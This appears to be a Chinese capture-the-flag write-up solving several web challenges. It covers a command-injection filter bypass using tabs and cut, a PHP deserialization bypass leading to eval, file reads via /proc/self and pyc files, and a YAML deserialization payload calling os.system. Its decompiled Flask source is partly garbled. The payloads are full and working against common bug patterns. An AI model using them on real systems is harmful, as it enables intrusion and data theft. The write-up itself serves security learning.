考察命令执行 shell命令操作符
基本上过滤了所有可用的命令
平时我们都是ls 查看目录
仔细发现dir命令并没有被禁止
所以我们可以dir%09.%09
也是这样的
. 表示当前目录
然后就是读文件命令
被ban了那么多还有几个忽略了
cut 命令awk sed fmt等等
来看看cut命令
试一试别的
等等,最后payload
cmd=cut%09-f%091%09F14g_1s_h4rehaha.php%09
payload:
Class Welcome{
public $cmd;
public $admin='info';
}
$a = new Welcome();
echo serialize($a);
题目提示错误,fuzz一下
check_data函数过滤了O:7 cmd admin {
于是我们需要进行绕过,其中O:7通过O:+7进行绕过//为什么+可以绕过O:7通过O:+7
Cmd和admin使用S和16进制绕过,也就是将s:3:”cmd” ====》 S:3:"\63\6d\64"
Admin同理。
然后{}使用()代替
最终得到payload:
O:%2b7:"Welcome":2:(S:3:"\63\6d\64";N;S:14:"%00Welcome%00\61\64\6d\69\6e";S:4:"info";)
注意本地环境如果为php=7就不能用(绕过{,适用于php=5
之后就可以输出phpinfo
然后我们进行命令执行,只需要将info变成jdb即可。
然后就是会对$_POST[“cmd”]放入eval函数中执行,但是这里还有一个check_cmd函数需要绕过。经过测试,发现这个函数过滤了php
; () script ‘ “” language 空格
首先,过滤了;
那无法直接执行php代码,必须用?>把前面的php代码闭合掉,在重新用写php代码
但是海拔 之外,我们还可以用代码执行
script php language的过滤我们可以用大小写进行绕过。
把()过滤了无法直接调用php函数,那么我们可以用bash
命令来执行,但是需要注意的是这个执行是没有回显的,需要打印出来,但是这里过滤了空格。 可以用%0a绕过空格
最终payload:
data=O:%2b7:"Welcome":2:(S:3:"\63\6d\64";S:2:"";S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e";S:3:"\6a\64\62";)&cmd=?>
首先看到一个连接照片的地址
可以照成任意文件泄露读取
尝试读源代码
/proc/self/environ读当前目录
然后我们读取源码时发现,当文件名后面两位为.py时,会禁止读取。
于是我们尝试读取pyc文件,我们知道python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目录的__pycache__目录下。我们首先要找到当前目录,通过读取/proc/self/environ可以知道工作目录为/var/www/html
所以我们尝试读 pyc 文件。python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目
录的 pycache 目录下。然后pyc的命名规则为文件名 .cpython-35.pyc (因为python版本)
?img=/proc/self/cwd/pycache/app.cpython-35.pyc
然后在在线网站中还原得到源码或者我们通过浏览器去访问下载照片,修改后缀名通过 uncompyle6 进行将pyc的文件恢复成py文件
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, send_file, make_response, Response, jsonify
import base64
import json
import yaml
import os
app = Flask(__name__)
class Name:
def __init__(self):
pass
def from_configuration(config):
return Name(**yaml.load(config, Loader = yaml.Loader))
from_configuration = staticmethod(from_configuration)
def waf(name):
if '..' in name:
return -1
if None[-2:] == 'py':
return -2
return None
def index():
return render_template('index.html', out = 'Welcome to enter!', is_value = 0)
index = app.route('/', methods = [
'GET',
'POST'])(index)
def get_image():
filename = request.args.get('img')
if waf(filename) == -1:
return jsonify('directory traversal forbidden!')
if None(filename) == -2:
return jsonify('reading forbidden!')
imgPath = None.path.join('/var/www/html', 'static', filename)
if not os.path.exists(imgPath):
return jsonify('image does not exists')
return None(imgPath, mimetype = 'image/png')
get_image = app.route('/get_image')(get_image)
def set():
if request.method == 'POST':
if 'name' in request.form:
name = request.form['name']
if 'config' in request.form:
result = Name.from_configuration(request.form['config'])
return make_response(render_template('index.html', result = result), 200)
return None(render_template('index.html', out = 'Welcome,' + name, is_value = 1), 200)
return None(render_template('setting.html'), 200)
set = app.route('/set', methods = [
'GET',
'POST'])(set)
发现源码中存在yaml反序列化漏洞,直接利用网上的payload打就行
python pyaml反序列化
!!python/object/apply:os.system [“ls>/tmp/1.txt”]